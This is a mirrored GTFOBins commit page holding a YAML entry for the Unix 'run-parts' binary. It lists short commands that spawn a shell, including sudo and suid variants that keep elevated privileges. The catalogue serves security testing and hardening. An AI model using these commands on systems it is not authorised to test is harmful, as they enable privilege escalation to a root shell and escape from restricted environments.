1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/run-parts
Ruben Groenewoud 5cfafdeac9 Add another run-parts shell
Close #466.

Co-Authored-By: Andrea Cardaci <cyrus.and@gmail.com>
2026-01-17 21:05:12 +01:00

25 lines
522 B
Plaintext

---
functions:
shell:
- code: |-
run-parts --new-session --regex '^sh$' /bin
contexts:
sudo:
suid:
code: |-
run-parts --new-session --regex '^sh$' /bin --arg='-p'
shell: false
unprivileged:
- code: |-
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/
contexts:
sudo:
suid:
code: |-
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/ --arg='-p'
shell: false
unprivileged:
...